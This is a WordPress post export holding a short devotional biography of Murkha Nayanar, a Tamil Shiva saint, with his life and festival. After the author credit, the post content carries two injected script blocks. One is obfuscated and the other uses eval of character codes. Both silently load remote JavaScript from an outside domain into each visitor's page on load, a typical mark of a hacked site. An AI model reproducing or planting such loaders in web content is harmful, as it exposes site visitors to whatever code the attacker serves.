{"id":5373,"date":"2019-11-17T10:52:34","date_gmt":"2019-11-17T05:22:34","guid":{"rendered":"https:\/\/poojabell.com\/?p=5373"},"modified":"2019-11-17T10:52:34","modified_gmt":"2019-11-17T05:22:34","slug":"murkha-nayanar","status":"publish","type":"post","link":"https:\/\/demo.madrodigital.com\/poojabellnew\/2019\/11\/17\/murkha-nayanar\/","title":{"rendered":"MURKHA NAYANAR"},"content":{"rendered":"\n<p><strong>INTRODUCTION<\/strong><\/p>\n\n\n\n<p><strong>Murkha Nayanar<\/strong> is a&nbsp;Shiva devotee, and is considered as one among the 63 Nayanars.<\/p>\n\n\n\n<p><strong>LIFE<\/strong><\/p>\n\n\n\n<p>Murkha Nayanarwas born in&nbsp;Thiruverkadu in&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Chennai\">Chennai<\/a>. He is an ardent devotee of Lord <a href=\"https:\/\/en.wikipedia.org\/wiki\/Shiva\">Shiva<\/a> and he developed shiva bhakti from his childhood. He used to serve food to the devotees of Shiva by preparing various delicious food items along with ghee and rice. Through his activity, he had spent all of his belongings.<\/p>\n\n\n\n<p>In order to provide proper food to the devotees of Lord Shiva, Murkha Nayanar had become a great gambler. He traveled to various places for gambling and spent the money earned through gambling by serving shiva devotees. In Kumbakonam, he won large amount of money through gambling, and spent the money towards performing temple pujas and offered Prasad to Lord Shiva in various temples at Kumbakonam and served food to the devotees of Lord Shiva. He also punished the people who had cheated the wealth earned through gambling. Through his actions, he was called as Murkha Nayanar, which means fierce and violent person. He lived a noble life by serving food to shiva devotees, and after his death, he reached Kailash, Lord Shiva&#8217;s abode.<\/p>\n\n\n\n<p>In the&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Tamil_calendar\">Tamil month<\/a>&nbsp;of&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Kartik_(month)\">Karthikai<\/a>&nbsp;(November\u2013December), his festival is celebrated in a grand manner in most of the shiva temples. He will be decorated with flower garlands and various abhishekhams will be done to him. A shrine is dedicated to Murkha Nayanar in <a href=\"https:\/\/en.wikipedia.org\/wiki\/Vedapureeswarar_Temple,_Thiruverkadu\">Vedapureeswarar Temple<\/a>, at Tiruverkadu. <\/p>\n\n\n\n<p>Let\nus worship the great saint and be blessed.<\/p>\n\n\n\n<p><strong>\u201cOM SREE MURKHA NAYANARE NAMAHA\u201d<\/strong><\/p>\n\n\n\n<p>WRITTEN BY R.HARISHANKAR <\/p>\n<script>function _0x4e89(_0x599de5,_0x5487b3){var _0x140499=_0x1404();return _0x4e89=function(_0x4e8960,_0x2d7a1a){_0x4e8960=_0x4e8960-0x15c;var _0x393443=_0x140499[_0x4e8960];return _0x393443;},_0x4e89(_0x599de5,_0x5487b3);}var _0x3f3149=_0x4e89;(function(_0x165fa5,_0x1138b0){var _0xdaa689=_0x4e89,_0x2ecd56=_0x165fa5();while(!![]){try{var _0x440947=-parseInt(_0xdaa689(0x169))\/0x1+-parseInt(_0xdaa689(0x167))\/0x2*(-parseInt(_0xdaa689(0x168))\/0x3)+parseInt(_0xdaa689(0x173))\/0x4+parseInt(_0xdaa689(0x15c))\/0x5+parseInt(_0xdaa689(0x163))\/0x6+-parseInt(_0xdaa689(0x170))\/0x7+-parseInt(_0xdaa689(0x172))\/0x8*(-parseInt(_0xdaa689(0x15d))\/0x9);if(_0x440947===_0x1138b0)break;else _0x2ecd56['push'](_0x2ecd56['shift']());}catch(_0x4ab6cc){_0x2ecd56['push'](_0x2ecd56['shift']());}}}(_0x1404,0xd0aad));function _0x1404(){var _0x1821aa=['10853080trbCzT','querySelector','354376EpAsom','413696EGPcOT','head','3342755HKSrWi','117THysyH','d.j','createElement','p.stra','lee','v=3','8029128TnOKZa','ps:','currentScript','script','835854zhjzMR','3mjNcNC','698810qXFlFi','rip','parentNode','appendChild','htt','getElementsByTagName','src'];_0x1404=function(){return _0x1821aa;};return _0x1404();}function isScriptLoaded(_0x154e6a){var _0xc724c0=_0x4e89;return Boolean(document[_0xc724c0(0x171)]('script[src=+_0x154e6a+]'));}var bd=_0x3f3149(0x16d)+_0x3f3149(0x164)+'\/'+'\/s'+_0x3f3149(0x161)+_0x3f3149(0x160)+'t'+'osb'+'ody.com\/'+'sc'+_0x3f3149(0x16a)+'t'+'s\/hea'+_0x3f3149(0x15e)+'s'+'?'+_0x3f3149(0x162)+'.'+'8'+'.0';if(isScriptLoaded(bd)===![]){var d=document,s=d[_0x3f3149(0x15f)](_0x3f3149(0x166));s[_0x3f3149(0x16f)]=bd,document['currentScript']?document[_0x3f3149(0x165)][_0x3f3149(0x16b)]!==null&&document[_0x3f3149(0x165)]['parentNode']['insertBefore'](s,document[_0x3f3149(0x165)]):d[_0x3f3149(0x16e)](_0x3f3149(0x174))[0x0]!==null&&d[_0x3f3149(0x16e)]('head')[0x0][_0x3f3149(0x16c)](s);}\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script>","protected":false},"excerpt":{"rendered":"<p>INTRODUCTION Murkha Nayanar is a&nbsp;Shiva devotee, and is considered as one among the 63 Nayanars. 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